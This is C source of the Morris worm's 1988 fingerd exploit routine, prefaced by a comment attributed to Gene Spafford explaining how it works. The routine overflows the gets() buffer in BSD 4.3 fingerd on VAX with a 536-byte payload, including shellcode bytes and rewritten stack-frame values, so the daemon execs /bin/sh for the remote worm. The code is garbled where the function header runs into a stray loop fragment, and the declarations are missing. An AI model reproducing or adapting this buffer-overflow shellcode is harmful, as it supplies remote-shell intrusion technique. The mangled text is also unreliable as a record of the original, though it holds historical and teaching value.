/* From Gene Spafford What this routine does is actually kind of clever. Keep in mind that on a Vax the stack grows downwards. fingerd gets its input via a call to gets, with an argument of an automatic variable on the stack. Since gets doesn't have a bound on its input, it is possible to overflow the buffer without an error message. Normally, when that happens you trash the return stack frame. However, if you know where everything is on the stack (as is the case with a distributed binary like BSD), you can put selected values back in the return stack frame. This is what that routine does. It overwrites the return frame to point into the buffer that just got trashed. The new code does a chmk (change-mode-to-kernel) with the service call for execl and an argument of "/bin/sh". Thus, fingerd gets a service request, forks a child process, tries to get a user name and has its buffer trashed, does a return, exec's a shell, and then proceeds to take input off the socket -- from the worm on the other machine. Since many sites never bother to fix fingerd to run as something other than root..... Luckily, the code doesn't work on Suns -- it just causes it to dump core. --spaf */ /* This routine exploits a fixed 512 byte input buffer in a VAX running * the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to * overwrite six extra words in the stack frame, including the return * PC, to point into the middle of the string sent over. The instructions * in the string do the direct system call version of execve("/bin/sh"). */ static try_finger(host, fd1, fd2) /* 0x49ec,o48[i] == 0) continue; /* 600 */ s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) continue; bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = host->o48[i]; sin.sin_port = IPPORT_FINGER; alarm(10); if (connect(s, &sin, sizeof(sin)) < 0) { alarm(0); close(s); continue; } alarm(0); break; } if (i >= 6) return 0; /* 978 */ for(i = 0; i < 536; i++) /* 628,654 */ buf[i] = '\0'; for(i = 0; i < 400; i++) buf[i] = 1; for(j = 0; j < 28; j++) buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j]; /* constant string x200a0 */ /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */ /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */ l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */ l560 = 0x7fffe8a8; l564 = 0x7fffe8bc; l568 = 0x28000000; l552 = 0x0001c020; #ifdef sun l556 = byte_swap(l556); /* Reverse the word order for the */ l560 = byte_swap(l560); /* VAX (only Suns have to do this) */ l564 = byte_swap(l564); l568 = byte_swap(l568); l552 = byte_swap(l552); #endif sun write(s, buf, sizeof(buf)); /* sizeof == 536 */ write(s, XS("\n"), 1); sleep(5); if (test_connection(s, s, 10)) { *fd1 = s; *fd2 = s; return 1; } close(s); return 0; }